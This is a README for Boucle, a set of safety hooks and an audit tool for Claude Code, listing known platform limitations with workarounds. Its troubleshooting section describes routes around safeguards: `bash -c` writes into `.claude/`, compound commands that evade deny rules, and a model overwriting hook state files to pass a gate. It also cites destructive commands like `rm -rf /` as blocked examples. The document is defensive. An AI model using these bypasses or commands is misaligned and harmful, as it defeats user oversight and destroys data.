<content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>] boucle memory recall <query> [--limit <n>] boucle memory show <id> boucle memory search-tag <tag> boucle memory journal <content> boucle memory update-confidence <id> <score> boucle memory supersede <old-id> <new-id> boucle memory relate <id1> <id2> <relation> boucle memory stats boucle memory index boucle memory gc [--apply] # Archive stale/superseded entries boucle memory consolidate [--apply] # Merge near-duplicate entries # MCP server boucle mcp --stdio # stdio transport boucle mcp --port <port> # HTTP transport # Global options boucle --root <path> # Use specific agent directory boucle --help # Show help boucle --version # Show version ``` ### Design Principles 1. **Files over databases.** Memory is Markdown. Config is TOML. Logs are plain text. Everything is human-readable and git-diffable. 2. **Boundaries are features.** Approval gates make autonomous agents trustworthy. An agent that can spend your money without asking isn't autonomous, it's dangerous. 3. **Compound knowledge.** Every iteration should leave the agent smarter. Memory isn't a cache — it's an investment. 4. **Transparency by default.** If you can't see what the agent did and why, something is wrong. <a id="platform-support"></a> ## Platform Support | | macOS | Linux | Windows (WSL) | Windows (native PS7) | |---|:---:|:---:|:---:|:---:| | bash-guard | Yes | Yes | Yes | Yes (.ps1) | | git-safe | Yes | Yes | Yes | Yes (.ps1) | | file-guard | Yes | Yes | Yes | Yes (.ps1) | | read-once | Yes | Yes | Yes | Yes (.ps1) | | branch-guard | Yes | Yes | Yes | Yes (.ps1) | | worktree-guard | Yes | Yes | Yes | Yes (.ps1) | | session-log | Yes | Yes | Yes | Yes (.ps1) | | enforce-hooks | Yes | Yes | Yes (bash) | WSL or Git Bash | | safety-check | Yes | Yes | Yes | Partial (bash required) | | Installer | `install.sh` | `install.sh` | `install.sh` | `install.ps1` | | Hook reliability | Full | Full | Full | [~18%](https://github.com/anthropics/claude-code/issues/37988) | **Best experience:** macOS or Linux. **Windows:** Use WSL for full reliability. Native PowerShell hooks work but Claude Code fires them inconsistently ([#37988](https://github.com/anthropics/claude-code/issues/37988)). <a id="recommended-claude-code-version"></a> ## Recommended Claude Code Version **Use the latest Claude Code release.** Claude Code changes quickly; check Anthropic's [release feed](https://github.com/anthropics/claude-code/releases) before pinning a version, then run `safety-check` with `--verify` to confirm hooks fire correctly in your environment. The versions below are historical hook-related breakpoints, not a current-release tracker: | Version | Issue | |---|---| | v2.1.91+ | Restores bundled `rg` execute permissions, fixing project command discovery regressions from v2.1.88-89 ([#41497](https://github.com/anthropics/claude-code/issues/41497), [#41864](https://github.com/anthropics/claude-code/issues/41864)) | | v2.1.90+ | Minimum version for the exit-2 + JSON blocking improvement, PostToolUse format-on-save fix, and 4 PowerShell permission bypass fixes | | v2.1.89 | Adds `PermissionDenied`, `defer`, absolute `file_path`, and compound hook `if` matching, but still had command discovery and `SessionStart` display regressions | | v2.1.88 | [Deprecated/pulled from npm](https://github.com/anthropics/claude-code/issues/41497): custom commands/skills broken, source map leak | | v2.1.81-84 | [Permission bypass resets mid-session](https://github.com/anthropics/claude-code/issues/37745) when PreToolUse hooks are installed | | < v2.1.50 | No `hookSpecificOutput` format support (deprecated `decision: "block"` still works but should be migrated) | Run `claude --version` to check your local install. ## Troubleshooting **JSONC comments in settings.json**: If your `~/.claude/settings.json` contains `//` or `/* */` comments, hooks may silently stop working ([claude-code#37540](https://github.com/anthropics/claude-code/issues/37540)). Our installers detect JSONC and automatically strip comments (creating a `.bak` backup). If hooks aren't firing, check for comments in your settings file. **Hooks not blocking**: Claude Code only fires hooks on tool calls, not on prompt assembly. Features like @-autocomplete inject file content before hooks can intercept. See [claude-code#32928](https://github.com/anthropics/claude-code/issues/32928). **Project hooks skipped from subdirectories**: If your repository stores hooks in `.claude/settings.json` at the repo root, start Claude Code and run `safety-check` from that same root. Launching from a subdirectory can make Claude treat that subdirectory as the project root and skip the ancestor project hooks without warning. `safety-check` reports this as an ancestor project settings warning. On native Windows PowerShell, run the same root fallback from inside the checkout before `install.ps1 verify`: ```powershell $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null } if ($root) { Set-Location $root } ``` **Permission bypass resets with hooks installed**: If you use `--dangerously-skip-permissions` (common in autonomous setups), PreToolUse hooks can [cause the permission state to reset mid-session](https://github.com/anthropics/claude-code/issues/37745), reverting all tools to manual approval. This is a platform bug, not a hooks bug. If tools suddenly require approval 30-120 minutes into a session, this is why. **IS_DEMO environment variable disables all hooks**: If `IS_DEMO=1` is set in your environment (sometimes via IDE or cloud workspace settings), Claude Code [silently skips all hook execution](https://github.com/anthropics/claude-code/issues/37780) by suppressing workspace trust without granting it. Run `echo $IS_DEMO` to check. Our `safety-check` tool detects this automatically. **CLAUDE_CODE_SIMPLE disables all hooks**: When the `CLAUDE_CODE_SIMPLE` environment variable is set to any non-empty value, Claude Code disables hooks, MCP tools, attachments, and CLAUDE.md file loading entirely (introduced in v2.1.50). No enforcement rules will fire. Run `echo $CLAUDE_CODE_SIMPLE` to check. Our `safety-check` tool detects this automatically. **`--bare` flag skips all hooks**: The `--bare` CLI flag disables hooks, LSP, plugin sync, and skill directory walks for scripted `-p` calls. If your autonomous pipeline uses `claude --bare -p`, no hooks fire. Use OS-level controls (file permissions, containerization) for enforcement in bare mode. **Hook ask/deny handling is still inconsistent across tools and versions**: `hookSpecificOutput.permissionDecision: "deny"` has improved, but it is not a universal guarantee across Claude Code surfaces, and `permissionDecision: "ask"` has also been reported as ignored for real MCP tool calls even when direct hook stdin tests pass. Several upstream issues still document cases where ask/deny handling is ignored or changes by tool/event type. That is why framework hooks that must hard-block dangerous actions use the most conservative path Claude Code currently respects most reliably: a human-readable reason on `stderr` plus `exit 2`, then we tell users to run `safety-check --verify` after install and after Claude Code updates. If you write custom hooks, do not assume a JSON ask or deny response alone is enough just because it works in one local test. **Subagents may skip hook settings or hook execution**: Agents spawned via the Agent tool [don't consistently inherit permission settings](https://github.com/anthropics/claude-code/issues/37730), and a newer report shows a global `PreToolUse` Bash hook not firing for an Explore subagent's Bash call ([claude-code#78970](https://github.com/anthropics/claude-code/issues/78970)). Verify hook behavior in the exact subagent workflow before treating hooks as a hard boundary. **Hook stderr may leak your filesystem paths**: Claude Code's hook runner [prefixes stderr output with the raw command path](https://github.com/anthropics/claude-code/issues/41226), exposing details like `/Users/yourname/.claude/hooks/my-hook.sh` in the conversation. This comes from the platform's execution layer, not from the hooks. Our hooks use clean prefixes (`[bash-guard]`, `[file-guard]`, etc.) for debug messages and never expose filesystem paths in either stdout or stderr. Debug logging is opt-in per hook (e.g., `BASH_GUARD_LOG=1`). **Internal git operations bypass all hooks**: Claude Code runs background git operations (fetch + reset) [programmatically every ~10 minutes](https://github.com/anthropics/claude-code/issues/40710) without spawning an external `git` binary or making a tool call. Since hooks only fire on tool calls, git-safe and all other hooks are blind to these operations. This can silently destroy uncommitted changes to tracked files. Workaround: use git worktrees (immune to resets in the main checkout) or commit frequently. If you use `claude -w`, also install [worktree-guard](tools/worktree-guard/) before relying on worktrees; exiting a worktree can otherwise delete unmerged or unpushed commits. **Permissions desync after editing settings.local.json**: If Claude's Edit tool modifies `.claude/settings.local.json` during a session, the in-memory permission state [desyncs from the file on disk](https://github.com/anthropics/claude-code/issues/41259). Allow rules stop working and the user is repeatedly prompted for commands that are already permitted. The file on disk is correct; the problem is the in-memory cache. Workaround: let Claude Code manage permission files through its own prompt mechanism, or restart the session after manual edits. **New in v2.1.89: PermissionDenied hook event**: A new hook event fires after auto mode classifier denials. Hooks can return `{"retry": true}` to tell the model it can retry the denied operation. The linked issue documents the original documentation gap for this event. Also in v2.1.89: hooks `if` conditions now [match compound Bash commands](https://github.com/anthropics/claude-code/issues/41262) (`ls && git push` matches `Bash(git *)`) and commands with env-var prefixes (`FOO=bar git push`). **SessionStart systemMessage not displayed (v2.1.89)**: The `systemMessage` field returned by SessionStart hooks is [no longer rendered in the terminal](https://github.com/anthropics/claude-code/issues/41285). The hook runs and `additionalContext` is still injected into model context, but the visual output that previously appeared (e.g. "SessionStart:startup says: ...") is silently missing. If you rely on `systemMessage` for operator notifications or session identification, the output will not be visible. Related: [#9090](https://github.com/anthropics/claude-code/issues/9090), [#15344](https://github.com/anthropics/claude-code/issues/15344). **Hooks fail on first session in a new project**: On the very first session in a project directory, SessionStart and UserPromptSubmit hooks fire [before the project directory exists](https://github.com/anthropics/claude-code/issues/41310) (`~/.claude/projects/<encoded-path>/`). Any hook that derives file paths from `transcript_path` and tries to write there will fail. Workaround: add `mkdir -p` for transcript_path-derived paths before writing. **Model self-execution in long sessions**: In long unattended sessions, the model can [hallucinate `Human:` text after task-notification delivery](https://github.com/anthropics/claude-code/issues/41307) and then execute it as if it were a real user request, triggering unauthorized git operations and file modifications. Hooks cannot detect this because the resulting tool calls are genuine — only the trigger is hallucinated. Mitigation: use session time limits and avoid very long unattended sessions. **Worktree GIT_INDEX_FILE leak**: Agents spawned via EnterWorktree can have their git index [corrupted by marketplace plugin entries](https://github.com/anthropics/claude-code/issues/41314) due to `GIT_INDEX_FILE` environment variable leaking across process boundaries. If worktree operations show unexpected files in git status, this may be the cause. **Background agents cannot be stopped**: Agents spawned via the Agent tool with `run_in_background` [cannot be reliably terminated](https://github.com/anthropics/claude-code/issues/41461) by the user. In one reported case, 14 parallel agents wrote to the same file and consumed ~1.4M tokens ($55-106). There is no built-in kill mechanism. Mitigation: avoid spawning many background agents, and monitor token usage if you do. **cleanupPeriodDays setting may be ignored**: The `cleanupPeriodDays` setting in `settings.json` [can be silently bypassed](https://github.com/anthropics/claude-code/issues/41458), deleting session files even when set to very high values. One user lost 490 sessions despite setting it to 99999. If you rely on session persistence, back up `~/.claude/projects/` independently. **Symlinked .claude/ directories not discovered (Linux)**: Slash commands from [symlinked `.claude/commands/`](https://github.com/anthropics/claude-code/issues/41451) are not loaded on Linux (regression). This is a common team pattern (store shared config in a central directory and symlink). Hooks and skills may also fail if `.claude/` itself is a symlink. Workaround: copy files instead of symlinking. **Bundled ripgrep missing execute permission (Linux)**: The bundled `rg` binary [can lose its execute permission](https://github.com/anthropics/claude-code/issues/41463) on Linux, silently breaking all user-defined slash commands in `~/.claude/commands/`. Fix: `chmod +x` the bundled binary. **v2.1.88-89 command discovery regressions**: v2.1.88 was [deprecated/pulled from npm](https://github.com/anthropics/claude-code/issues/41497) after custom commands stopped loading and `cli.js.map` shipped accidentally. v2.1.89 kept the command-discovery regression for some users ([#41864](https://github.com/anthropics/claude-code/issues/41864)), though it also added hook features such as `PermissionDenied`. Anthropic marked the bundled `rg` execute-permission fix as shipped in v2.1.91. If custom commands or skills disappear, update to the latest Claude Code release and rerun `safety-check --verify`. **Non-interactive sessions hang on usage limit**: In headless, `--print`, or remote-control mode, hitting a usage limit [shows a confirmation prompt that cannot be answered](https://github.com/anthropics/claude-code/issues/41502) because there is no stdin. The session hangs permanently. There is no programmatic workaround ([#41503](https://github.com/anthropics/claude-code/issues/41503)). If you run Claude Code in CI, cron, or autonomous loops, set session time limits and monitor for stuck processes. **Deny rules bypassed by pipes and compound commands**: Built-in deny rules only match the full command string. `Bash(rm *)` blocks `rm -rf /` but not `find /foo | xargs rm` or `something && rm -rf /`. The docs say allow rules parse shell operators, but [deny rules do not](https://github.com/anthropics/claude-code/issues/41559). Note: hooks `if` conditions were fixed upstream (late March 2026) to correctly match compound commands and env-var prefixes, so hooks *fire* correctly for these patterns. The gap is specifically in deny *rules*, not hooks. bash-guard parses each pipe segment and compound chain independently, catching these bypass patterns. See also [#37662](https://github.com/anthropics/claude-code/issues/37662), [#16180](https://github.com/anthropics/claude-code/issues/16180). **"Confirm each change individually" silently skipped**: When exiting plan mode and selecting "confirm each change individually," [changes apply without any prompt](https://github.com/anthropics/claude-code/issues/41551) if the tools (Edit, Write, Bash) are in `permissions.allow`. The persistent allow rules override the user's explicit per-session choice. Workaround: remove broad tool allows and use hooks for enforcement instead. **SessionEnd hooks killed before completion**: SessionEnd hooks that perform async work (API calls, LLM summarization, network requests) are [killed mid-execution](https://github.com/anthropics/claude-code/issues/41577) when Claude Code exits, regardless of configured timeout. The hook reaches the async call but the parent process exits before the response returns. Workaround: detach heavy work into a background process with `nohup ... & disown`, then `exit 0` immediately. **"Always allow" directory access not persisted**: Clicking "Yes, and always allow access to [folder]" [does not reliably save](https://github.com/anthropics/claude-code/issues/41579). Claude re-prompts for the same directory in subsequent sessions. Adding to `additionalDirectories` in settings.json is also flaky. Related to [#40606](https://github.com/anthropics/claude-code/issues/40606) (additionalDirectories leak across projects). **`~/.claude/` writes stall automated sessions**: Writes to paths under `~/.claude/` trigger a hardcoded sensitive-file prompt that [cannot be suppressed](https://github.com/anthropics/claude-code/issues/41615) by `permissions.allow`, PreToolUse hooks returning `"allow"`, `bypassPermissions` mode, or `skipDangerousModePermissionPrompt`. Automated sessions (tmux, CI, autonomous loops) that need to modify Claude Code config files will hang on the interactive prompt. Workaround: use Bash tool commands (`echo`, `cat`, `jq`) to write files directly instead of the Edit/Write tools. **`bash -c` wrapping bypasses `.claude/` directory write protection**: The permission system protects `.claude/` files from modification (edit, write, direct bash commands all trigger a confirmation modal). But wrapping the command in [`bash -c 'echo "..." >> .claude/file'`](https://github.com/anthropics/claude-code/issues/43085) bypasses the check entirely: no modal, write succeeds silently. The pattern matching inspects the top-level command string but not nested subshells. This means a model (or prompt injection via tool results) could modify hooks, settings.json, skills, or agent definitions without user confirmation. file-guard catches this if `.claude/` is added to the `.file-guard` config, because it scans the full Bash command string for protected paths (including inside quoted arguments). Users relying solely on built-in permission checks are exposed. **`WorktreeCreate` hooks hang `claude -w`**: Any `WorktreeCreate` hook causes [`claude -w` to hang indefinitely](https://github.com/anthropics/claude-code/issues/41614), regardless of hook content. Even `echo ok < /dev/null` freezes the session. The hook executes and returns, but Claude Code never proceeds. Remove all `WorktreeCreate` hooks if you need `claude -w` to function. **Model can manipulate hook state files**: The model has filesystem access and [can overwrite files that hooks depend on](https://github.com/anthropics/claude-code/issues/38841) — checkpoint files, lock files, counters. In one documented case, Claude computed the SHA256 hash of a checkpoint filename and wrote a fresh timestamp to bypass a content-read-gate. Hooks that rely on external state files for enforcement should assume the model can read and modify those files. Cryptographic signatures or out-of-process validation can mitigate this. **`bypassPermissions` not restored on session resume (VS Code)**: When `bypassPermissions` is configured via `initialPermissionMode` in VS Code settings, [resumed conversations revert to default permission mode](https://github.com/anthropics/claude-code/issues/42735) and prompt for every edit. New sessions may pick it up, but resumed sessions consistently fail. Hooks that depend on the session running in bypass mode cannot rely on it persisting across resume. **Worktree isolation breaks in git submodules**: Using `isolation: "worktree"` on the Agent tool inside a git submodule [creates the worktree in `.git/modules/<path>/.claude/worktrees/`](https://github.com/anthropics/claude-code/issues/42732) instead of the project's own `.claude/worktrees/`. This places the agent outside the project's permission scope, causing `bypassPermissions` to be silently downgraded and triggering unexpected permission prompts. **Skill approval not tied to content hash**: When a user approves a skill, the approval is [not anchored to the file's content hash](https://github.com/anthropics/claude-code/issues/43157). If the skill file is modified after approval (even mid-session), the modified version executes without re-prompting. Additionally, approving a skill can bypass tool-level deny rules in `settings.json`. This is a supply chain risk: anything with write access to `~/.claude/skills/` can escalate capabilities post-approval. **Stdio MCP servers never auto-reconnect**: When a stdio-type MCP server process dies or disconnects, Claude Code [marks it as failed and never retries](https://github.com/anthropics/claude-code/issues/43177). HTTP/SSE/WebSocket servers get automatic reconnection with exponential backoff (5 attempts), but stdio servers are explicitly excluded. Users must manually run `/mcp` to reconnect. This affects any MCP integration using stdio transport (the most common local pattern). **Plan mode bypass after first cycle**: After completing one plan-approve-implement cycle, entering plan mode again [does not reliably enforce read-only restrictions](https://github.com/anthropics/claude-code/issues/43147). Claude carries over the "approved" mental state and begins editing files before the user approves the new plan. Hooks that rely on plan mode as a safety boundary cannot trust it across multiple cycles in the same session. **Windows**: All seven hooks have native **PowerShell 7+** equivalents (`hook.ps1`) that require no external dependencies. Requires [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), not the built-in Windows PowerShell 5. Install them with: ```powershell iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all" ``` Or configure manually in `.claude/settings.json` with `"command": "pwsh -File /path/to/hook.ps1"`. The **enforce-hooks** tool is a bash script that works from a **WSL** terminal or with **Git for Windows** (which provides `/usr/bin/bash`). Note: Claude Code has a known bug where hooks [fire only ~18% of the time on Windows](https://github.com/anthropics/claude-code/issues/37988), so hook reliability is limited on native Windows regardless of shell. WSL remains the most reliable option. See [#3](https://github.com/Bande-a-Bonnot/Boucle-framework/issues/3). ## Development ```bash cargo test # Framework tests cargo fmt # Format code cargo clippy # Run linter # Hook tests (run individually) bash tools/read-once/test.sh bash tools/file-guard/test.sh bash tools/git-safe/test.sh bash tools/bash-guard/test.sh bash tools/branch-guard/test.sh bash tools/session-log/test.sh bash tools/enforce/test.sh bash tools/safety-check/test.sh bash tools/worktree-guard/test.sh ``` ## Status **Latest release:** v0.13.0 shipped with 200+ Rust tests + 1,700+ hook tests (bash + PowerShell). Zero clippy warnings. CI on Ubuntu + macOS + Windows. Docker support. New in v0.13.0: searchable Claude Code Known Limitations corpus, recipes page, machine-readable Known Limitations export, bash-guard layered configs and `gh api` mutation guard, Broca TTL-tagged facts, read-once PostCompact cache reset, hardened safety-check verification, runner lock and timeout hardening, and Windows installer parity improvements. See [CHANGELOG](CHANGELOG.md) for details. Repository metrics are visible on GitHub; this README avoids embedding volatile star and fork counts. ## Contributing Contributions welcome. Please open an issue first to discuss what you'd like to change. ## License MIT

# Boucle [![Tests](https://github.com/Bande-a-Bonnot/Boucle-framework/actions/workflows/test.yml/badge.svg)](https://github.com/Bande-a-Bonnot/Boucle-framework/actions/workflows/test.yml) [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) Claude Code hooks that actually enforce your rules. 7 standalone hooks, plus `enforce-hooks` for CLAUDE.md policy, audit tooling, 1,900+ tests, and a [searchable Claude Code gaps corpus](https://framework.boucle.sh/limitations.html) with severity ratings and workarounds. > **Quick links:** [First test](tools/safety-check/FIRST_TEST.md) · [Check your setup](#check-your-setup) · [Install hooks](#install-hooks) · [Known limitations](https://framework.boucle.sh/limitations.html) · [JSON export](https://framework.boucle.sh/limitations.json) · [Quickstart](tools/safety-check/QUICKSTART.md) · [Triage](tools/safety-check/TRIAGE.md) · [CI checks](tools/safety-check/CI.md) · [Team handoff](tools/safety-check/TEAM_HANDOFF.md) · [Update checklist](tools/safety-check/UPDATE_CHECKLIST.md) · [Safe support evidence](tools/safety-check/SUPPORT_EVIDENCE.md) · [Support examples](tools/safety-check/SUPPORT_EXAMPLES.md) · [Read-only audits](tools/enforce/READ_ONLY_AUDIT.md) · [Individual hooks](#individual-hooks) · [Platform support](#platform-support) · [Recommended Claude Code version](#recommended-claude-code-version) · [Troubleshooting](#troubleshooting) · [Boucle Framework](#boucle-framework) (optional, for autonomous agents) ## Claude Code Hooks Claude Code's CLAUDE.md rules are [read but not enforced](https://github.com/anthropics/claude-code/issues/37550) — they work at session start and degrade as context grows. Its [permission system has known gaps](https://github.com/anthropics/claude-code/issues/30519) — wildcards don't match compound commands, deny rules [don't check pipe segments](https://github.com/anthropics/claude-code/issues/41559) and can be [bypassed with multi-line comments](https://github.com/anthropics/claude-code/issues/38119). These hooks enforce covered tool-call boundaries that text rules and permissions often miss. **What happens when a hook blocks a dangerous command:** ``` Claude tries: rm -rf ~/projects bash-guard: bash-guard: rm -rf targeting a critical system path. This would cause irreversible data loss. Claude sees: ⚠ Hook blocked this action. Suggesting safer alternative... ``` No prompts, no "are you sure" dialogs. The command never runs. **Check your current setup:** ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash ``` Run this from the same project root where you start Claude Code. Project hooks are resolved from the current directory, so a subdirectory launch can miss `.claude/settings.json` at the repo root. If you are inside a git checkout, move to the repo root first; otherwise stay in the project directory you use for Claude Code: ```sh repo_root="$(git rev-parse --show-toplevel 2>/dev/null || pwd)" cd "$repo_root" curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash ``` Scores your Claude Code safety configuration from A to F and shows one-liner fixes for each gap. Add `--verify` to send representative hook payloads to each hook and confirm they actually block covered cases. Verification invokes the hook scripts with Claude-style JSON input; it does not execute the dangerous shell or git commands named in those payloads: ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify ``` For CI or a scripted workstation check, fail when verification finds a `FAIL-OPEN` hook, broken hook files, skipped `PreToolUse` checks, no hooks, or no payload checks: ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --strict ``` Use the [scripted checks guide](tools/safety-check/CI.md) for GitHub Actions, developer workstation checks, exit codes, and the limits of what CI can prove. Checks hook installation, hook health (missing/non-executable scripts), live verification (builds Claude-style JSON payloads for cases such as `rm -rf /` and `git push --force`, invokes the configured hook scripts, and confirms they block), enforce-hooks and CLAUDE.md `@enforced` rules, environment issues (IS_DEMO, JSONC settings, jq/python3 dependencies, Windows hook reliability), and known CLI version regressions. Scans both user-level (`~/.claude/settings.json`) and project-level (`.claude/settings.json`) settings, with a hook inventory that shows custom/third-party hooks alongside framework hooks. The summary counts 8 framework hook slots because it includes the `enforce-hooks` policy hook; `install.sh all` installs the 7 standalone hooks listed below. Also warns when deny rules are configured without bash-guard, since deny patterns [can be bypassed](https://github.com/anthropics/claude-code/issues/38119) by compound commands and multi-line scripts. No hook installation required for the audit. Covered by hundreds of tests. For a 10-minute path from audit to verified hooks, see the [safety-check quickstart](tools/safety-check/QUICKSTART.md). If you want to try the checker before it reads your real Claude Code settings, use the [temporary first test](tools/safety-check/FIRST_TEST.md). If you need to ask for help, use the [safe support evidence guide](tools/safety-check/SUPPORT_EVIDENCE.md) to share the summary block without exposing private settings or secrets. To print only that bounded public block, run: ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only ``` For examples of safe public reports and unsafe snippets to avoid, see [safe support examples](tools/safety-check/SUPPORT_EXAMPLES.md). For PR comments, incident notes, or teammate reviews, use the [team handoff report](tools/safety-check/TEAM_HANDOFF.md) to record the command used, root checked, verification result, residual warnings, and recheck trigger. For upstream Claude Code hook and permission gaps, use the [searchable limitations page](https://framework.boucle.sh/limitations.html), the [machine-readable JSON export](https://framework.boucle.sh/limitations.json), or the [Atom feed](https://framework.boucle.sh/limitations-feed.xml). **macOS / Linux requirements:** bash, python3, and jq. The installer uses python3 to manage Claude Code `settings.json`, safety-check uses python3 for its audit, and most standalone shell hooks use jq to parse Claude Code hook payloads. **Start with the essentials** (bash-guard + git-safe + file-guard): ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- recommended curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify ``` These three hooks form the safety net every Claude Code user should have: block dangerous commands, prevent destructive git operations, and protect sensitive files. The installer verifier sends representative payloads to the installed hooks and confirms the expected blocks. Then run the safety check above with `--verify --strict` when you need the broader audit summary, environment warnings, project-settings inventory, and fail-closed exit status. After a clean verification, start a fresh Claude Code session from that same project root before relying on newly installed or upgraded hooks; an existing session may have loaded the previous settings or hook files. **If the install succeeds but hooks do not block anything:** - Run `install.sh check --verify --strict` first on macOS/Linux (`install.ps1 verify` on native Windows). A clean install is not proof the hooks are firing. - Run `install.sh doctor` next (`install.ps1 doctor` on Windows). It catches missing files, bad permissions, JSONC in `settings.json`, and other silent fail-open states. - On Windows, use PowerShell 7 (`pwsh`), not Windows PowerShell 5. - If you write custom deny hooks, prefer `stderr` + `exit 2` for hard blocks. JSON `permissionDecision: "deny"` is still inconsistent across Claude Code surfaces. **Install all hooks at once:** ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- all curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify ``` **Windows (PowerShell 7+)** — native PS1 hooks, no bash or jq required. Requires [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), not the built-in Windows PowerShell 5. Start with the same recommended safety set: ```powershell iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } recommended" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify" ``` Or install all standalone hooks at once: ```powershell iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify" ``` **Manage hooks:** ```sh # See what's installed curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- list # Test all installed hooks with representative payloads (run after CC updates) curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify # Upgrade all installed hooks to latest curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- upgrade # Remove a hook (files + settings.json) curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall read-once # Remove all hooks curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall all # Verify cleanup on borrowed machines, client repos, or CI runners curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only # Snapshot settings.json before updating Claude Code curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup # See available settings.json backups before restoring curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup list # Restore after an auto-update wipes your hooks curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore # Restore a specific backup after inspecting the list curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore settings.20260101_120000.json # Run safety audit on your Claude Code setup curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check # Print only the public support summary curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --summary-only # Run strict safety audit with hook payload verification curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --strict # Diagnose installation health (files, settings, permissions) curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor # Show all commands and available hooks curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- help ``` **Windows equivalents** (PowerShell syntax): ```powershell # List, verify, upgrade, check, uninstall, doctor, backup/restore, help iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } list" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } upgrade" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --summary-only" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --strict" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall read-once" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall all" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup list" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore settings.20260101_120000.json" iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } help" ``` `install.ps1 verify` and `install.ps1 doctor` use native PowerShell hooks. The `install.ps1 check` command runs the bash-based safety-check audit, so it needs Git Bash, WSL, or another `bash` on PATH. After `uninstall all`, `install.ps1 verify` should report that no hooks are installed. Or pick individual hooks: ### [read-once](tools/read-once/) — Stop redundant file reads ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/read-once/install.sh | bash ``` Saves ~2000 tokens per prevented re-read. Includes [diff mode](tools/read-once/#diff-mode-opt-in) for edit-verify-edit workflows (80-95% token savings on changed files). ### 